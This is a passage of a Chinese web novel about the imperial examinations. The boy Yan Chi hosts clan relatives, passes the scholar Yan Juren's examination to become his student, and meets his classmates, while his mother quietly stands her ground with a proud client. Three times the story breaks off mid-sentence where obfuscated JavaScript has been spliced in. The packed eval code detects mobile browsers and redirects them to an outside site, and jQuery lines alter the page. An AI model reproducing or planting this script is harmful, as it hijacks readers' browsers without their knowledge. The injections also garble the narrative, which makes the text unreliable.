《官居一品（科举）》 2. 族人 红日攀升，日辉穿过窗棂照在少年青春稚气的脸上，肤若美玉，静若墨画。 直到短促的敲门声打破寂静，少年合书起身，他抬头看了一下日头，这个点儿他娘应该还在贺记绣庄才是。 院外传来唤声，“迟哥儿，是我。” 晏迟眸光动了动，快步开门，院外少年十二三岁，小麦色皮肤，眼大鼻挺，穿着蓝衣褐裤，身后还背着一个竹制背篓，看见晏迟，露出一个灿烂的笑，朝气蓬勃。 晏迟也弯了眼眸，随后目光落在少年身侧的老媪身上。 对方约摸五十上下，面阔颧突，一头蓝底碎花包髻，蓝衣灰裤，右手挎着一个竹篮子，扯了花棉布盖着，与少年差不多高，气势却甩少年一大截，颇有威势。 晏迟拱手礼道：“小子见过郑叔婆。” 老郑氏有些意外，她上次见晏迟，晏迟才三岁，居然记住她了。 老郑氏笑言：“好些年没见，迟哥儿长的愈发好了。” 晏迟也露出一个腼腆的笑，侧身邀请祖孙进院，晏宏临背着背篓向小厨房走，道：“迟哥儿，我和阿婆给你们带了些米，先放着。” 老郑氏将手中挎篮给晏迟，“家里养鸡下的蛋，不值什么钱。” 晏迟一番道谢，小心接过鸡蛋，笑道：“叔婆哄我呢，鸡蛋是补身子的好东西，叔婆大老远提一篮子给我，当真是疼爱我，我就厚着脸皮跟临哥争个宠，唤您一声阿婆了。” “好好好，就唤阿婆。”老郑氏脸上笑容扩大了些，弱化了面部的凌厉，她道：“我也稀罕迟哥儿呢。” 晏迟顺势将一篮子鸡蛋给晏宏临，让他带进小厨房，他引着老郑氏入花厅上座，顺其自然的道出他娘今日不在家中的缘故，“也是赶巧了，前些日子我娘从贺记绣庄揽了活，今儿正巧把绣样送去，算算时间，还有小半个时辰就回了。” 老郑氏在上首坐下：“不打紧，我就是来看看你们好不好，今见着你气色不错，也就放心了。” “有阿婆惦记，我和娘一定好好的。”晏迟笑道：“您稍坐片刻，小子去去就来。” 他退后三步，这才转身快步向小厨房去。晏宏临正将籼米倒入米缸，晏迟从袖中取出方帕递给他，“临哥辛苦，快擦擦汗，去花厅等我。” 晏宏临有些不好意思，迟哥儿忒客气。他进了花厅，在下首落座，下意识打量四下，被他阿婆瞪了一眼，立刻垂眉低眼，不敢乱看。 晏迟双手持托盘入厅，将托盘内的茶点放在老郑氏和晏宏临手边，他在一侧下首陪坐，“一点粗茶点心，委屈阿婆和临哥将就些个。” 老郑氏摆摆手，“哪里就委屈了。自家人不讲究这些。” 晏迟点头，“阿婆说的是。” 晏迟见晏宏临拘谨，不敢吃喝。他温声向晏宏临推荐道：“临哥尝尝打糕，看看同家里做的有甚区别。” 晏宏临心说他家才不做这么麻烦的点心呢，捻了一块绿色的糯团子，外形与青团类似，但打糕没有馅儿，经过频繁捶打糯米所制。 他尝了一口，口感软糯，艾蒿的青草香和糯米香杂糅，香浓细滑。两个打糕下肚，晏宏临有些噎，端起茶盏呷了一口，发现是茉莉花茶，淡淡的花香，口感也不苦涩，他没忍住咕咚咕咚喝了大半，茶水见底。 他脸色微热，发现迟哥儿正同他阿婆说话，没注意他。晏宏临松了口气。 老郑氏：……… 郑阿婆祖孙来探望他们，晏迟也想了解一下晏氏族人近况。 晏氏族人住在长谷村，是昌栎县的直辖村，半个时辰的就到县里了。 过去是他爹与族人来往，后来他爹逝世，他娘一个寡妇带着他度日，晏氏族人顾忌他娘名声，并不怎么上门。多由晏宏临这个半大小子出面，每次在院门放下东西就走。 晏迟看在眼里，记在心里。 他以他爹为话题切入点，有熟悉的人事，双方话起家常，拉近关系。 花厅气氛正好，晏迟咦了一声，起身作竖耳侧听状，“这脚步声，应是我娘回来了。我去瞧瞧。” 说着话，他就朝外走，晏宏临下意识想跟出去，见状又退回，不太自在的摸了摸后脖子。 老郑氏嗔怪道：“杵在那作甚，坐下。待会儿咱们见过你沈伯娘就家去了。” 晏宏临应声。 一盏茶后，晏迟从院外回来，抱歉道：“让阿婆和临哥见笑，小子听错了。” 他顺势从小厨房提了茶壶，给老郑氏和晏宏临续上茶水，在下首坐下，“方才我们说到我爹中秀才呢，我娘也常念叨，我爹是个肚里有墨水的，年二十一就中了。” 老郑氏被晏迟的话带回往事，脸上也浮现感慨。晏迟这一脉往上三代都是读书人，晏迟的祖父二十九中秀才，后无寸进，年三十五病逝。 晏迟他爹年二十一考取秀才功名，此后六年耗在秋闱，最后耗尽心血而亡。 晏氏族人一面可惜，一面也记晏迟他爹和祖父的情。秀才名下免税田二十亩，免徭役二人。那些年族人的田，按比例挂在晏迟他爹和他祖父名下，日子松快些许。 当年老郑氏的丈夫染疾，家中小子又未长成，多亏晏迟他祖父免徭役的名额，他家才度过一劫。 她看着眼前的少年，发梳两髻，却是谦谦有礼，言行得体。村里小子这么大的时候，还在上山打兔，下河摸鱼。 老郑氏估摸着，晏迟也是要走科举一途。只不知母子俩是否还有银钱支撑晏迟念书的开销。 她心里担忧，同晏迟闲话时，语速慢了些，显得心不在焉。晏宏临有些尴尬，搜肠刮肚找话题同晏迟说，晏迟看破不说破。 眼见金乌凌空，茶水再次见底，沈氏匆匆赶回，开着半扇院门不关，“不知婶娘和临哥儿来，招待不周，还请谅解则个。” 老郑氏带着孙儿起身，同沈氏招呼。 双方互相问候，老郑氏提出告辞，一名伙计双手各提着红木食盒和盖篮，在院外唤：“此处可是沈绣娘家？” 晏迟应声，沈氏想起在巷口邻居小子的传话，道迟哥儿备了午饭，一时放了心。 晏迟接过食盒和盖篮，唤晏宏临将厅里的八仙桌抬至院中，摆上饭菜。 四菜一汤。 正中间一道烧鹅主菜，一盘白灼虾，一盘香干芹菜，并一罐炖豆腐，以及一道青翠的丝瓜汤，配蒸煮的籼米饭。 晏宏临看着丰盛的菜肴，没忍住咽了咽口水。 晏迟向老郑氏礼道：“阿婆请上座。” 四人各坐一方，沈氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668422|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了个话头，一行人边话家常边吃饭，偶有过路人瞥一眼院内情况。 午后，晏迟提着红枣点心，送祖孙二人出巷，巷中邻居询问，晏迟大大方方介绍。 出了巷口，老郑氏道：“迟哥儿，这会儿日头正烈，快别送了。” 晏宏临连连点头，“是啊迟哥儿，你回罢。” 晏迟握着晏宏临的手，情真意切道：“临哥，适逢端午前后，我晓得地里活计多，耽搁不得。弟弟今日也就不多留你，待农闲了，你再来县里，一定多留几日，弟弟好生招待你。” 这话把晏宏临感动坏了，紧紧回握晏迟的手，他同老郑氏走出一段路，回头发现晏迟还立在巷口，双方视线交接，晏迟笑盈盈冲他挥手。 晏宏临也立刻挥手回应，祖孙俩出了县，晏宏临还念叨“迟哥儿真好”。 老郑氏不语，默认了。 她想起家里的孙辈，再对比晏迟，内心叹道：不愧是秀才家的小子。 那厢沈氏正数了银钱和一包点心给邻居道谢，多亏对方帮忙。 “左邻右舍的，搭把手的事儿。”孙氏笑道。她是一位梳头娘子，丈夫是车把式，每日赶着骡车接送孙娘子去客人家中，其余时候在城中揽活，或是跑腿，帮人租赁等等，活杂又碎。 夫妇二人生育两子一女，长女已经出嫁，次子年十六，幼子与晏迟一般大，但两家孩子并不怎么一起玩耍。 两人又话了一会子，沈氏才离去，孙娘子回到屋内，两个小子都冒出来，盯着她手里的点心。 孙娘子嗔怪：“瞧你们这出息，到桌边来。” 家中四人围坐，孙娘子打开油纸包，不多不少，正正好四块鲜花饼，饼皮酥的掉渣。 晏小子托她连午饭一并买的，没想到这点心是给她的谢礼。那另外的两斤红枣，一包芡实糕，一包麻饼，应是送给晏家那位叔婆了。 没想到迟哥儿看着沉默少语，却是个机灵的。孙娘子咬了一口酥饼想道。 沈氏回到家中，看着窗下温书的儿子，心绪翻涌。平日里儿子寡言，她总忧心儿子以后与人来往。 今日看来，儿子待人接物，亦是得体。 她轻手轻脚回自己屋，晚饭后，她把儿子叫来花厅，拿出两角银子给儿子。 晏迟抿了抿唇，收下了。 沈氏想着老郑氏祖孙，有些感慨：“有族人惦记着，心里都妥帖些。” 晏迟看出他娘的感伤，温声宽慰。 他娘原是苏州人，苏州水域发达。是以，历朝历代花了大力气治水，至今三百年未生水患。 然而这份平和却因地方官疏忽职守，累的水患再临苏州，他娘和兄长侥幸逃出，流落昌栎县。 他大舅在逃难途中染了疾，他娘为救治兄长，没日没夜刺绣，正是去绣庄交绣样的路上，他娘因为太过疲惫昏迷。他爹正好遇上，当即将他娘送去医馆，两人就此结缘。 此后，二人结为夫妻，晏迟出生第二年，他大舅病逝。 期间，他爹娘也托人去苏州打探过沈氏一族的消息，可惜都只剩些远亲，他娘才歇了心思。 沈氏呼出一口浊气，对儿子道：“时辰不早了，你也回屋歇息。” 晏迟迟疑，沈氏挥退他：“去罢。” 3. 严举人 端午之后，县里还残留节后余韵，晏家小院却气氛凝肃。 沈氏再一次清点束脩，末了，合上盖子，在屋内来回踱步。 “叩叩——” 沈氏敲响东厢房的屋门，屋内传来轻声：“进。” 沈氏推开屋门，见儿子在灯下温书，她到嘴边的劝学咽了回去，改口道：“迟哥儿，我们明儿一早去严家，你莫看书太晚，仔细明早起不来。” 晏迟颔首。 沈氏神情迟疑，手把着门框未去，晏迟知晓她是太紧张。他原也是紧张的，想着他若未通过严举人的考校怎么办，岂不辜负了他娘的期望。 但他到底多了一段成人记忆。人的一生漫长，只着眼前，事事放大，未免太过折磨。 晏迟起身，唤他娘在门处的四方桌边坐下，他给他娘倒了一杯水，与他娘分说。 “娘，严举人才学过人，心中自有标准，我若达不到，说明我所学浅薄。纵使他看着过往情分收下我，但他所讲，我必不能明，岂不揠苗助长。” 沈氏握紧茶杯，欲言又止。晏迟见他娘神情松动，转而吹捧他娘。 “娘也认些字，念了书，通晓情理，您每每教导我，我都有所悟。这样浅显的道理，娘肯定也明白，只是事关于我，娘爱子心切，才当局者迷了，是不是。” 沈氏眼中闪过一抹犹豫，少顷瞪了晏迟一眼，“你给娘戴高帽呢。” 晏迟笑笑，摇曳的烛火映着他清秀的眉眼，皎洁若溪。 沈氏侧首叹息，“娘只是希望你念书顺利，有位好老师，你能少走许多弯路。” 晏迟认真道：“娘的苦心我都明白。儿自问念书刻苦，竭尽全力。既已尽人事，最后事成与否，全在天意了。” 沈氏知晓是这个理儿，她松开茶盏，起身道：“天晚了，歇罢。” 晏迟送他娘出门，见他娘入了正屋，他才合上厢房门。随后他剪了烛芯，屋内一片昏暗。 晏迟躺在床上，不多时陷入梦乡。 次日，红日初升，日辉透过窗棂洒进地面，晏迟缓缓睁开眼。 他从床尾的衣柜里取出一套棉质青衫，这是他娘特意为他新做的，配千层底的黑面布鞋。 晏迟走出厢房，沈氏见状笑道：“娘正要唤你呢，你最喜欢巷外西街第二家的馄饨，娘刚买回来，快洗漱了来花厅吃。” 她今日也换了一身八成新的靛蓝色衫裙，发梳包髻。神态自然，眉眼含笑，不复昨夜焦虑之态。 晏迟也跟着笑应，他进小厨房取了牙刷子蘸牙粉漱口，又以清水覆面，看见水中倒映出他头上双髻，与棉质青衫有些违和。 晏迟收回目光，扯了棉巾擦拭脸上水迹。 他步入花厅，坐下先用勺子舀了一勺汤，大骨混着鲫鱼熬煮的汤水，乳色细滑，粉红的毛虾在汤中浮沉，为这汤汁增添海产品特有的馥郁鲜味。 一口汤顺着喉咙下肚，身心都被抚慰了。 母子俩未说其他。饭后，沈氏手挎竹篮，里面装着束脩六礼，却用竹盖子盖的严实。晏迟也并未背上书箱。 按理，晏迟去拜师，该提前相约晏氏族内一名男性长者，拜师当日，晏迟戴纶巾衣青衫，身背书箱，同长者登严家门。因着他娘是女眷，不宜与严举人直接接触。 但事有例外。 严举人是看在他爹生前的一点薄面，给他一个机会。倘若严举人未决定前传出此事，严举人是收他不收。 严举人愿意收他，自是皆大欢喜。 严举人不收他，难免有人指责严举人无情，不顾旧友情分。亦或揣测晏迟太过愚钝，有其父生前同严举人之谊，也没能拜师。后续晏迟想另外拜师，就事倍功半了。 于双方不利。 是以章大娘子提出见见晏迟，乃是长辈瞧一瞧晚辈。 沈氏垂首锁院门，同晏迟道：“娘同孙娘子家说好了，咱们坐她家的骡车过去。” 说罢，她抬脚去隔壁，叩了叩孙娘子家的院门，院门从里打开，露出一张憨厚的脸。 “沈娘子稍等片刻。”何大撤了门槛，赶着骡车出院，两匹骡子，壮硕骡子在前，体型略小的骡子在后。 晏迟母子上车，何大一甩鞭子，车轮滚滚驶出小巷，没入长街中。 晏家住西城，严家居东城，骡车穿过大半个县。 人声渐渐淡去，晏迟撩开车帘往外瞧，沿街不复商铺，被住所取代，大门外两座石狮子威风凛凛，连接的青石板街道宽阔而平整，比他们巷外的街道宽了一倍不止。 一盏茶后，骡车在严家后门处停下，沈氏提前结了银钱，母子俩下车后，何大驾着骡车走了。 沈氏上前叩门，院门从里打开，露出一名十四五的圆脸少女，翠喜见着沈氏，露出三分笑，迎他们进院。 正逢夏日，院里的花开正盛，蝴蝶翩翩起舞，仿若好事将临。 他们穿过月洞门，进入厅内，上首坐着一位庄严的妇人，脸似满月，眼若杏仁，一头乌发盘髻，插金簪玉钗，耳坠宝珠，身着朱红底绣缠枝莲花纹的绸子衫裙，莹白丰润的手腕套着一对白玉镯，正是章大娘子。 沈氏携子欲行礼，章大娘子连忙止了，将晏迟叫到跟前，盯着他瞧了会儿，对沈氏道：“这孩子真像晏秀才。” 沈氏双目微润，轻轻点了点头。 章大娘子又问了些家常问题，晏迟恭敬回了，既不怯生，也不张狂。 章大娘子当下满意几分，秉性是个沉稳的，不知天资如何。 适时一名小厮在门外传话，道老爷听闻晏家哥儿来了，要见一见。 章大娘子握着晏迟的手，宽他的心：“你爹生前与我们老爷很合得来，你与你爹生的像，老爷见了你，也会喜欢你的。” 这话晏迟不好接，索性垂首作腼腆状。 章大娘子拍拍晏迟的手，“莫怕，去罢。” 晏迟向章大娘子和母亲行礼告退，跟随小厮前往前厅。 沈氏攥紧了手帕。 严家院子颇大，从后往前穿过两道垂花门，才至前厅。 厅内简陋，摆着三套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668423|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红木桌椅，正中悬一块红花梨牌匾，上书：格物致知，工整而凌厉的四个大字。 晏迟看着牌匾，脑海中下意识浮现一位正直清高的文人形象。 倏地，厅外传来脚步声，晏迟转身向外，入目一位年逾四十的长者，头戴儒巾，身着圆领绸袍，体型清瘦。 眉宇间有数道纹痕，应是长期皱眉所致。 晏迟拱手见礼，严举人应了一声，越过晏迟在上首落座。 “听说你守孝期间，翻阅你父留下的书籍。” 晏迟斟酌道：“只翻阅一些浅显的，太深奥的书籍，小子也看不懂。” 严举人问明晏迟看了哪些书，道：“可有不明处？” 晏迟默了默，再次拱手礼道：“小子愚钝，饶是阿父留有注解，小子仍有诸多不明处。” 严举人不语，晏迟大着胆子提了一个问题，严举人略作思索，与他讲解。晏迟若有所思。 半刻钟后，严举人的声音止了。晏迟又问一个问题。如晏迟猜测，严举人并未不悦，反而娓娓道来，深入浅出。 晏迟之前想不明白的地方，犹如雾散日出，瞬间明了。 半个时辰过去，严举人呷了一口茶，带晏迟去书房。 严举人信手拈一句句子，令晏迟默写下去，他没叫停，晏迟便不能停。 屋外日头逐渐攀高，前厅一直没消息，沈氏一张手帕攥的皱巴巴。 章大娘子宽慰她，“这会子没消息，或是个好消息。” 沈氏勉强露出一个笑，章大娘子说的有理，只是事关迟哥儿，沈氏很难平常心。 而前院书房内，严举人挑着《中庸》中的一句，叫晏迟倒着写。 晏迟顿了顿，速度明显慢了，还有几个错字。严举人微微皱眉，但转而想起晏贤弟英年早逝，彼时晏迟才七岁，这孩子仅靠幼时所学，一遍遍温习，能有现下这样的结果，不仅是刻苦自律，更是天资过人。 当日头悬空，严举人终于叫停。他看向墙上挂着的圣人像，令晏迟叩拜。 晏迟心跳快了半拍，他知道，这意味着他通过严举人的考校了。 晏迟叩拜过圣人像，而后转向严举人，行叩拜大礼。如此，这拜师才算成了。 消息传至后院，沈氏顾不得欢喜，忙托翠喜将竹篮给前院送去，这是迟哥儿的拜师礼。 严举人示意管家收下，对晏迟道：“光阴难觅，切莫荒废。午后你在前院跟其他人一道念书。” 晏迟眸光一颤。 严举人：“怎么？” 晏迟咬咬牙，道：“学生并无把握拜师，来时不敢大张旗鼓，恐惹口舌。是以并未背上书箱，还请先生允学生回家一趟。” 严举人蹙眉，随即眉头松展：“无妨，严家不缺笔墨，你去就是了。” 晏迟顿了顿，应是：“学生多谢先生。” 他行礼告退，翠喜正在厅外等他，领晏迟去后院，母子俩同章大娘子一道用午饭，午后严家派车送沈氏回家。 晏迟跟随小厮前往前院。 4. 同窗 “公子，这就是讲室了。”小厮颔首礼过，向晏迟告退。 室内人闻声看向门处，晏迟难得有些拘谨，抬脚入室。 讲室宽敞明亮，采光极好，室内仅有三人，右后一张空桌，应是给他的。 晏迟拱手礼道，“小子晏迟，见过三位师兄。” 三人微讶，随后回礼，自我介绍。 左上者，年十七，青衫纶巾，乌眉长眼，严姓，名抱贞。晏迟估摸着对方是严氏族亲。 右上者，年十五，青衫泛白，眉眼沉静，程姓，名沅嘉。 晏迟再次一礼，程沅嘉目光在晏迟的双髻停留，片刻收回目光。 晏迟也顺着中间道往下，左下者，年十三，仍是青衫纶巾，肤色白皙，杏眼明亮，神似章大娘子。 晏迟心下有了猜测，果然听见对方笑道，“我叫严汝青，我听过你，不知道迟哥儿听过我没有。” 晏迟笑着点点头，原本两人该在幼时见一面的，只是因着一些原因未成，今儿两人才算见头回。 彼此有了初步了解，晏迟在自己的书桌落座，严汝青低声道：“申正时刻，先生估摸着会测《孟子·万章下》，你……” 他不知晏迟所学多寡，但想起晏叔去的早，迟哥儿估摸也没学多少。他斟酌用语：“你有不明处，可问我。” 晏迟笑着点点头。 严汝青也跟着笑了笑。 讲室内或闻书籍翻阅，或闻磨墨声，无人懈怠。 小半个时辰后，身侧递来一叠宣纸，严汝青抬了抬下巴，示意晏迟接着，晏迟接过手，先被一手漂亮工整的正楷吸引，随即才注意内容，竟是《孟子·万章下》的译文。 晏迟看过去，严汝青错开他的眼神，看着讲室角落里的黄釉凤纹抱月瓶，含糊道：“鄙薄之见，我姑且写写，你姑且瞧瞧。” 晏迟了然，他弯了弯眸，低声道：“多谢青哥。” 前面两人侧身看向他们，严抱贞叹道：“青哥儿，你可真教我们不厚道了。” “！！断没有的事。”严汝青立刻反驳。 严抱贞看向晏迟，与他解释：“先生收徒严格，经他亲自考校才能入学，先生对你所学必然明了，不会为难你。” 是以下午的小测，晏迟不会在列。 严汝青反应过来，再看自己给晏迟的译文，两相对比，倒是他小性了。于是他白皙的耳根，微微红了。 晏迟受严汝青好意，哪里能教他难堪，当下道：“原是如此，多谢抱贞师兄解惑。我初来乍到，虽未学至《孟子·万章》，但现下提前瞧过，之后先生讲解，有此打底，或许就事半功倍了。”顿了顿，他微微垂首，作羞赧状：“且，能借此与师兄们熟悉一二，我心里很欢喜。” 严汝青抬眸，他本就看晏迟顺眼，这会子愈发喜欢他了。 严抱贞见小师弟乖巧，顺势道：“小测之后，先生会允我们自行探讨，你有不明处，也可问我和沅嘉。” 晏迟起身礼道，“师兄们厚爱，我当真受宠若惊，仿佛预见未来温馨美好的日子了。”他道了一句俏皮话，眉眼舒展，整个人都放松了些。 他年岁小，面上带着明显的稚嫩，这般模样令其他三人也对他亲近几分。 严汝青小声嚷嚷，“坐罢坐罢，忒多礼了。” 晏迟落座，严抱贞和程沅嘉也坐正了身子，四人各做各的，但气氛却不复之前生硬紧绷。 晏迟对照译文，翻阅《孟子·万章下》的内容，眼里闪过一抹笑意。 年岁小有年岁小的优势，装嫩不可耻。 申正，严举人准时而来。他看了一眼右后位的晏迟，目光上移，落在右前位的程沅嘉身上。 “位卑而言高，罪也。” 晏迟原以为先生是令程沅嘉背诵下文，然而随着程沅嘉回答，晏迟发现这更像是以这一小段为题即兴而作的议论文，还以《论语·宪问》中孔子主张“不在其位，不谋其政”的论点佐证，引经据典，论调扎实。搁现代作文，满分60，保守能拿53分以上。 晏迟捧着书的手，渐渐收紧。 程沅嘉声调止了，严举人捋了捋山羊胡，不置可否。他行向严抱贞，言简意赅：“士之不托诸侯，何也？” 严抱贞略作思索，娓娓道来。不知是否是晏迟的错觉，严抱贞的观点些许浮于表面，有牵强附会之嫌。 严举人微拧的眉头，佐证晏迟的猜测。最后落到严汝青，晏迟发现他身体紧绷，喉头滚动，明显是紧张的。 严举人与严汝青是亲父子，不想严汝青也这般畏惧。 一轮考校之后，晏迟对三人的学问有了初步估量。 他想着这就结束了，却闻严举人令三人默写《孟子·万章》上卷，限时完成。 三人默写，严举人行至晏迟身侧，“下午做了什么？” 晏迟不敢隐瞒，一五一十说了，严举人问：“下卷可记住了？” 万章下卷计2454字，且是文言文，纵有译文，晏迟完整通读下卷都得两刻钟了。短短一个时辰哪能够。 晏迟拱手道：“回先生话，学生惭愧，仅记一半。” 严举人不语。晏迟小心抬眸，望他一眼，见严举人神情冷肃，他立刻收回目光，试探着背了开头。 严举人未出言阻止，晏迟便顺着背下去，声音不疾不徐，吐字清晰，渐渐地语速渐缓，磕磕巴巴。 他也不再挣扎，直白道：“先生，学生记不住了。” 身侧传来器物摩擦桌面之声，严汝青不小心碰着砚台了。 严举人未理会，他捋着胡须，纠正晏迟的几处错误发音。 晏迟受教。 严举人道：“明日下午，下卷背诵。” 晏迟恭敬道：“是，先生。” 酉时一刻，严举人叫停。三人齐齐落笔，严举人快速浏览，对程沅嘉仅两字：“尚可。” 面对严抱贞，严举人则指出一二不足 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晏迟跟着恭维程沅嘉两句，向三人提出告辞，严汝青也不丧了，他坐直身子，“你家居西城，从这回去得穿大半个城，等你到家天都黑了，我叫人送你回去。” 晏迟想了想，“青哥好意，我就却之不恭了。” “客气。”严汝青拉住晏迟的手往外去，晏迟冲另两位师兄挥别。 二人从前院离去，晏迟偏头看了一眼院里的影壁，严汝青跟着看去，笑道：“这块麒麟吐书的影壁是我祖父在世时所制。我爹常带我和阿兄来影壁前，教育我们兄弟。” 晏迟试探道：“汝中哥？” “嗯呢，他现在在南麓书院求学，爹让他及冠之年再下场。”严汝青说着话，两人从侧门出。 他送晏迟上马车，又叮嘱车夫慢些，莫颠簸了。 晏迟有感他爱护，与他道：“青哥，我就家去了，你快回罢。” 严汝青点点头，直到马车行远了，他才进门。 晏迟放下车帘，心道严汝青才学不及严抱贞和程沅嘉，但行事十分妥帖，没有十三岁的调皮无措。 他原想着自己有一段现代记忆，不至落于人，然今日讲室半日，管中窥豹，将他那点子自信敲的七零八落。 东南一代，文风之盛，名不虚传啊。 待他回了家，沈氏立刻迎上来，询问道：“迟哥儿，今日如何？” 晏迟抬头看着他娘，又环视熟悉的院里，沈氏着了急，“迟哥儿？你怎的了。” “娘，我无事。只是有感学海无涯，我之渺小。” 不待沈氏宽慰，晏迟缓缓吐出心头压住的浊气，双拳紧握，眼神坚定，“但我还年轻，我还有机会。” 沈氏松了口气，欣慰的拍拍儿子的肩。 5. 外圆内方的沈氏 次日，天边露出青光。 晏迟准时醒来，穿衣洗漱，头上纶巾换了双髻，青衫布鞋，身背书箱，俊秀又文气。 沈氏稀罕的多看了他好几眼，道：“回头娘再给你做一身青衫，绣兰花样式。” 晏迟脆声应：“娘真好，谢谢娘。” “现下衣衫还没做呢，你就道谢了。”沈氏哼笑，一边送晏迟出门，乘坐何大的骡车去严家。 她提前给何大结了银钱，看着晏迟上车，叮嘱何大，“今儿赶集，这会子上人了，你们慢着些。” 何大点点头，“沈娘子，我赶车好些年了，且放心罢。” 他轻轻一甩长鞭，两匹骡子同时跑动，车轮滚滚行过凹凸不平的地面，在巷内人家探究的目光下行远了。 骡车出了巷，街上的嘈杂如潮水涌来，也冲散朝雾。 昌栎县将四个方区划分，东城是县衙和贵人居处，清幽雅致。 南城多文玩书肆。 西城好热闹，周边乡人进城卖蔬菜瓜果，篓子活鱼多在此。 北城则交易牛羊牲畜所在。 西城街上人多，何大赶着车，熟练的避开人，晏迟掀开车帘，看着街上的热闹和鲜活。 直到骡车拐了两个路口，人声才淡了。何大余光瞥过晏迟的书箱，试探问：“迟哥儿是去严家念书？” 晏迟点点头。 何大有种意料之外又情理之中的感觉，他咧嘴笑：“迟哥儿一看就是聪明的，又拜了严举人为师，很快考个功名回来，你娘也就苦尽甘来了。” 晏迟笑应：“娘待我的好，我都记得。” 两人随意话着，待至严家大门，晏迟下车，与何大挥别。 他到讲室的时候，程沅嘉已经在了。不同于晏迟，程沅嘉和严抱贞都是住在严家，休沐日才回家。 论起来，严抱贞同严汝青隔了两房，在五服之内。 严抱贞原是在严氏族学念书，后来严举人弃官归乡，严氏族里来说和，严举人就从族学里挑了两个中意的，重点培养。 程沅嘉也是那时选上的，他与严氏族人同村，先在村塾念书，因着天资过人，入了严氏族学，后进严家。 程沅嘉盯着晏迟头上的纶巾瞧了片刻，朝他点点头，晏迟笑笑，互相打了招呼。 两人在座位落座，一刻钟后，严抱贞和严汝青快步而来，他们看到晏迟也在，两人异口同声道：“迟哥儿，你辰时就到了？” 晏迟清了清嗓子，一本正经道：“准确来说，是辰时一刻。” “真早。”严汝青道。 晏迟笑道：“还好。”他爱护他的眼睛，晚上并不怎么书写，多是背诵，有时背着书就睡下了，睡的早，自然起的早。 严汝青落座，倏地止了声，同程沅嘉先时一般，盯着晏迟的纶巾瞧了瞧，噗嗤笑道：“你这模样，活似小大人。” 晏迟提醒他，“青哥仅比我大三岁尔。” 严汝青撇撇嘴，讲室里很快传来书声，巳正，严举人进入讲室讲学。 下午，严举人考校晏迟背诵，相比昨日磕巴，今日晏迟背诵流畅顺利，严举人颔首，又令晏迟背诵上午所学文章。 傍晚晏迟散学，何大驾驶骡车准时来接。 如此数日，晏迟拜师严举人的事情渐渐传开，左邻右舍或打趣，或捻酸。 又一日晏迟上学后，县里周员外家来人接走沈氏。 姚太太喜牡丹，令沈氏为她在锦裙金绣牡丹，雅厅内，沈氏微微躬身，小心摩挲布料，又瞧了瞧匣中上等的金线，上首饮茶的姚太太漫不经心合上盖子：“怎么，可是有不妥？” 沈氏向姚太太屈膝一礼，认真道：“回大太太话，这条锦裙应是仿着蜀锦中的月华锦而制，其色晕染缤纷，若雨后彩虹，本就上佳。我绣艺浅薄，若强行在裙上绣制牡丹，只会画蛇添足，毁了这块好料子。” 姚太太意味不明的笑了笑：“你倒是自谦。” “罢了。”她抚了抚鬓发，叹道，“其实不止是衣裳料子，人也是如此，得讲究一个匹配，否则画蛇添足，蛇不蛇，龙不龙的，就遭笑了不是。” 沈氏抬头看向姚太太，雅厅内逐渐寂静，姚太太微微翘起的嘴角撇下，沈氏这才垂眸道：“大太太此言差矣，人是活物，遇事可转圜，非死物可比。配不配的，一时半会儿也瞧不出。” 姚太太眯了眼，冷冷打量沈氏，沈氏眉眼沉静，脊背却始终挺直。 姚太太嗤道：“什么活物死物的，扯一堆。既然这活儿你接不了，就回罢。” 沈氏被丫鬟送出周家，后门嘭地关上，闹出好大个动静。 沈氏：……… 小心眼子的姚大太太，和她小心眼子的丫鬟。 沈氏无奈的揉揉额首，时近午时，金乌高悬，日头烈烈。 这会子街上没几个人，热意将长街蒸腾的扭曲。 沈氏叹了口气，一步一步往回走。 “沈娘子？”熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668425|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的唤声传来，沈氏回首，发现竟是何大。 何大刚送一位客人，正欲家去，没想到会遇见沈氏。 沈氏坐了一趟顺风车，车沿挡住烈日，夏日的风吹过头脸，也不觉燥意了。 骡车行至县城中心，向西而去，沈氏透过车窗，看向东面。 不知迟哥儿在严家如何了。 晏迟正与同窗一道在食舍用饭，位于讲室的隔壁，午饭丰盛，一道明目的炒猪肝，一道白灼虾，还有一素一汤。 晏迟正剥着虾，忽觉几道视线。 晏迟顿了顿，飞快抬眸，捕捉三人未褪去的目光，晏迟开口就问：“师兄何故如此？” 严汝青咽下口中食物，道：“迟哥儿，上次吃虾时，我就想说了。你也忒细致，手指长的虾，你去壳又去肠。” 晏迟眼睛一眨，张口就来：“幼时养成的习性，一时没改过来。” 